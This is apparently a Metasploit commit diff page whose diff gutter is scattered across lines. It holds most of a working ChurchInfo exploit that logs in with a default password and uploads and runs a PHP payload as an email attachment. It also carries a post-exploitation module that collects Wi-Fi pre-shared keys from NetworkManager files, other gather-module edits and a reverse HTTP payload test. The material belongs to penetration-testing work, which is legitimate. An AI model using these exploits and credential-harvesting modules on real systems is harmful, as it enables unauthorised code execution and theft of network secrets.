OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
|
||||
OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
|
||||
OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
|
||||
OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
if datastore['SSL'] == true
|
||||
proto_var = 'https'
|
||||
else
|
||||
proto_var = 'http'
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'Default.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'Proto' => proto_var,
|
||||
'Path' => target_uri.path
|
||||
}
|
||||
)
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Target did not respond to a request to its login page!')
|
||||
end
|
||||
|
||||
# Check if page title is the one that ChurchInfo uses for its login page.
|
||||
if res.body.match(%r{<title>ChurchInfo: Login</title>})
|
||||
print_good('Target is ChurchInfo!')
|
||||
else
|
||||
return CheckCode::Safe('Target is not running ChurchInfo!')
|
||||
end
|
||||
|
||||
# Check what version the target is running using the upgrade pages.
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res && (res.code == 500 || res.code == 200)
|
||||
return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res && (res.code == 500 || res.code == 200)
|
||||
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res && (res.code == 500 || res.code == 200)
|
||||
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
|
||||
else
|
||||
return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The exploit method attempts a login, adds items to the cart, then creates the email attachment.
|
||||
# Adding items to the cart is required for the server-side code to accept the upload.
|
||||
#
|
||||
def exploit
|
||||
# Need to grab the PHP session cookie value first to pass to application
|
||||
vprint_status('Gathering PHP session cookie')
|
||||
if datastore['SSL'] == true
|
||||
vprint_status('SSL is true, changing protocol to HTTPS')
|
||||
proto_var = 'https'
|
||||
else
|
||||
vprint_status('SSL is false, leaving protocol as HTTP')
|
||||
proto_var = 'http'
|
||||
end
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'Default.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'Proto' => proto_var,
|
||||
'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
|
||||
},
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
# Ensure we get a 200 from the application login page
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
|
||||
end
|
||||
|
||||
# Check that we actually are targeting a ChurchInfo server.
|
||||
unless res.body.match(%r{<title>ChurchInfo: Login</title>})
|
||||
fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
|
||||
end
|
||||
|
||||
# Grab our assigned session cookie
|
||||
cookie = res.get_cookies
|
||||
vprint_good("PHP session cookie is #{cookie}")
|
||||
vprint_status('Attempting login')
|
||||
|
||||
# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'Default.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'User' => datastore['USERNAME'],
|
||||
'Password' => datastore['PASSWORD'],
|
||||
'sURLPath' => datastore['TARGETURI']
|
||||
}
|
||||
)
|
||||
|
||||
# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
|
||||
unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
|
||||
end
|
||||
vprint_good("Location header is #{res.headers['Location']}")
|
||||
print_good("Logged into application as #{datastore['USERNAME']}")
|
||||
vprint_status('Attempting exploit')
|
||||
|
||||
# We must add items to the cart before we can send the emails. This is a hard requirement server-side.
|
||||
print_status('Navigating to add items to cart')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'mode' => 'person',
|
||||
'AddAllToCart' => 'Add+to+Cart'
|
||||
}
|
||||
)
|
||||
|
||||
# Need to check that items were successfully added to the cart
|
||||
# Here we're looking through html for the version string, similar to:
|
||||
# Items in Cart: 2
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
|
||||
end
|
||||
cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
|
||||
unless cart_items
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
|
||||
end
|
||||
if cart_items['cart'].to_i < 1
|
||||
print_error('No items in cart detected')
|
||||
fail_with(Failure::UnexpectedReply,
|
||||
'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
|
||||
end
|
||||
print_good("Items in Cart: #{cart_items}")
|
||||
|
||||
# Uploading exploit as temporary email attachment
|
||||
print_good('Uploading exploit via temp email attachment')
|
||||
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
|
||||
vprint_status("Payload name is #{payload_name}")
|
||||
|
||||
# Create the POST payload with required parameters to be parsed by the server
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(payload.encoded, 'application/octet-stream', nil,
|
||||
"form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
|
||||
post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
|
||||
post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
|
||||
post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
|
||||
file = post_data.to_s
|
||||
file.strip!
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'CartView.php'),
|
||||
'method' => 'POST',
|
||||
'data' => file,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||
)
|
||||
|
||||
# Ensure that we get a 200 and the intended payload was
|
||||
# successfully uploaded and attached to the draft email.
|
||||
unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
|
||||
fail_with(Failure::Unknown, 'Failed to upload the payload.')
|
||||
end
|
||||
print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")
|
||||
|
||||
# Have our payload deleted after we exploit
|
||||
register_file_for_cleanup(payload_name)
|
||||
|
||||
# Make a GET request to the PHP file that was uploaded to execute it on the target server.
|
||||
print_good('Executing payload with GET request')
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
|
||||
'method' => 'GET'
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
@@ -29,7 +29,8 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
host = get_host
|
||||
print_status("Running module against #{get_hostname} (#{session.session_host})")
|
||||
|
||||
user = execute("/usr/bin/whoami")
|
||||
print_status("Module running as #{user}")
|
||||
|
||||
@@ -82,20 +83,6 @@ class MetasploitModule < Msf::Post
|
||||
print_good("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
# Get host name
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = cmd_exec("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
verification_token = Rex::Text::rand_text_alpha(8)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
|
||||
@@ -7,103 +7,111 @@ class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Gather 802-11-Wireless-Security Credentials',
|
||||
'Description' => %q{
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Gather NetworkManager 802-11-Wireless-Security Credentials',
|
||||
'Description' => %q{
|
||||
This module collects 802-11-Wireless-Security credentials such as
|
||||
Access-Point name and Pre-Shared-Key from your target CLIENT Linux
|
||||
machine using /etc/NetworkManager/system-connections/ files.
|
||||
The module gathers NetworkManager's plaintext "psk" information.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Cenk Kalpakoglu'],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell', 'meterpreter']
|
||||
))
|
||||
Access-Point name and Pre-Shared-Key from Linux NetworkManager
|
||||
connection configuration files.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Cenk Kalpakoglu'],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DIR', [true, 'The default path for network connections',
|
||||
'/etc/NetworkManager/system-connections/']
|
||||
)
|
||||
])
|
||||
register_options([
|
||||
OptString.new('DIR', [true, 'The path for NetworkManager configuration files', '/etc/NetworkManager/system-connections/'])
|
||||
])
|
||||
end
|
||||
|
||||
def dir
|
||||
def connections_directory
|
||||
datastore['DIR']
|
||||
end
|
||||
|
||||
# Extracts AccessPoint name and PSK
|
||||
def get_psk(data, ap_name)
|
||||
def extract_psk_from_file(path)
|
||||
return if path.blank?
|
||||
|
||||
print_status("Reading file #{path}")
|
||||
data = read_file(path)
|
||||
|
||||
return if data.blank?
|
||||
|
||||
data.each_line do |l|
|
||||
if l =~ /^psk=/
|
||||
psk = l.split('=')[1].strip
|
||||
return [ap_name, psk]
|
||||
end
|
||||
next unless l.starts_with?('psk=')
|
||||
|
||||
psk = l.split('=')[1].strip
|
||||
|
||||
return psk unless psk.blank?
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def extract_all_creds
|
||||
tbl = Rex::Text::Table.new({
|
||||
'Header' => '802-11-wireless-security',
|
||||
'Columns' => ['AccessPoint-Name', 'PSK'],
|
||||
'Indent' => 1,
|
||||
})
|
||||
files = cmd_exec("/bin/ls -1 #{dir}").chomp.split("\n")
|
||||
files.each do |f|
|
||||
file = "#{dir}#{f}"
|
||||
# TODO: find better (ruby) way
|
||||
if data = read_file(file)
|
||||
print_status("Reading file #{file}")
|
||||
ret = get_psk(data, f)
|
||||
if ret
|
||||
tbl << ret
|
||||
end
|
||||
end
|
||||
end
|
||||
tbl
|
||||
end
|
||||
|
||||
def run
|
||||
if is_root?
|
||||
tbl = extract_all_creds
|
||||
if tbl.rows.empty?
|
||||
print_status('No PSK has been found!')
|
||||
else
|
||||
print_line("\n" + tbl.to_s)
|
||||
p = store_loot(
|
||||
'linux.psk.creds',
|
||||
'text/csv',
|
||||
session,
|
||||
tbl.to_csv,
|
||||
File.basename('wireless_credentials.txt')
|
||||
)
|
||||
unless is_root?
|
||||
fail_with(Failure::NoAccess, 'You must run this module as root!')
|
||||
end
|
||||
|
||||
print_good("Secrets stored in: #{p}")
|
||||
connection_files = dir(connections_directory)
|
||||
|
||||
tbl.rows.each do |cred|
|
||||
user = cred[0] # AP name
|
||||
password = cred[1]
|
||||
create_credential(
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :session,
|
||||
address: session.session_host,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
username: user,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
)
|
||||
end
|
||||
print_status("Done")
|
||||
end
|
||||
else
|
||||
print_error('You must run this module as root!')
|
||||
if connection_files.blank?
|
||||
print_status('No network connections found')
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Text::Table.new({
|
||||
'Header' => '802-11-wireless-security',
|
||||
'Columns' => ['AccessPoint-Name', 'PSK'],
|
||||
'Indent' => 1
|
||||
})
|
||||
|
||||
connection_files.each do |f|
|
||||
psk = extract_psk_from_file("#{connections_directory}/#{f}")
|
||||
tbl << [f, psk] unless psk.blank?
|
||||
end
|
||||
|
||||
if tbl.rows.empty?
|
||||
print_status('No wireless PSKs found')
|
||||
return
|
||||
end
|
||||
|
||||
print_line("\n#{tbl}")
|
||||
|
||||
p = store_loot(
|
||||
'linux.psk.creds',
|
||||
'text/csv',
|
||||
session,
|
||||
tbl.to_csv,
|
||||
'wireless_credentials.txt'
|
||||
)
|
||||
|
||||
print_good("Credentials stored in: #{p}")
|
||||
|
||||
tbl.rows.each do |cred|
|
||||
user = cred[0] # AP name
|
||||
password = cred[1]
|
||||
create_credential(
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :session,
|
||||
address: session.session_host,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: refname,
|
||||
username: user,
|
||||
private_data: password,
|
||||
private_type: :password
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -32,9 +32,9 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Running module against #{get_hostname} (#{session.session_host})")
|
||||
|
||||
distro = get_sysinfo
|
||||
h = get_host
|
||||
print_status("Running module against #{h}")
|
||||
print_status("Info:")
|
||||
print_status("\t#{distro[:version]}")
|
||||
print_status("\t#{distro[:kernel]}")
|
||||
@@ -48,18 +48,9 @@ class MetasploitModule < Msf::Post
|
||||
print_status("#{fname} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = cmd_exec("hostname").chomp
|
||||
end
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def find_torrc
|
||||
fail_with(Failure::BadConfig, "'locate' command does not exist") unless command_exists?('locate')
|
||||
|
||||
config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")
|
||||
if config.length == 0
|
||||
print_error ("No torrc file found, maybe it goes by a different name?")
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::Payload::Python::ReverseHttp do
|
||||
def create_payload(info = {})
|
||||
klass = Class.new(Msf::Payload)
|
||||
klass.include Msf::Handler::ReverseHttp
|
||||
klass.include Msf::Payload::Python
|
||||
klass.include described_class
|
||||
mod = klass.new(info)
|
||||
datastore.each { |k, v| mod.datastore[k] = v }
|
||||
mod
|
||||
end
|
||||
|
||||
let(:datastore) do
|
||||
{
|
||||
'LHOST' => '127.0.0.1',
|
||||
'HttpUserAgent' => 'HttpUserAgent',
|
||||
}
|
||||
end
|
||||
|
||||
let(:cached_size) { 500 }
|
||||
let(:is_dynamic_size) { false }
|
||||
|
||||
before(:each) do
|
||||
allow(subject).to receive(:cached_size).and_return(cached_size)
|
||||
allow(subject).to receive(:dynamic_size?).and_return(is_dynamic_size)
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
let(:subject) { create_payload }
|
||||
|
||||
context 'when the payload is static' do
|
||||
let(:cached_size) { 500 }
|
||||
let(:is_dynamic_size) { false }
|
||||
|
||||
context 'when available space is nil' do
|
||||
it 'generates a payload' do
|
||||
expect(subject.generate).to be_a(String)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when available space is defined' do
|
||||
it 'generates a payload' do
|
||||
subject.available_space = 2000
|
||||
expect(subject.generate).to be_a(String)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the payload is dynamic' do
|
||||
let(:cached_size) { nil }
|
||||
let(:is_dynamic_size) { true }
|
||||
|
||||
context 'when available space is nil' do
|
||||
it 'generates a payload' do
|
||||
expect(subject.generate).to be_a(String)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when available space is defined' do
|
||||
it 'generates a payload' do
|
||||
subject.available_space = 2000
|
||||
expect(subject.generate).to be_a(String)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user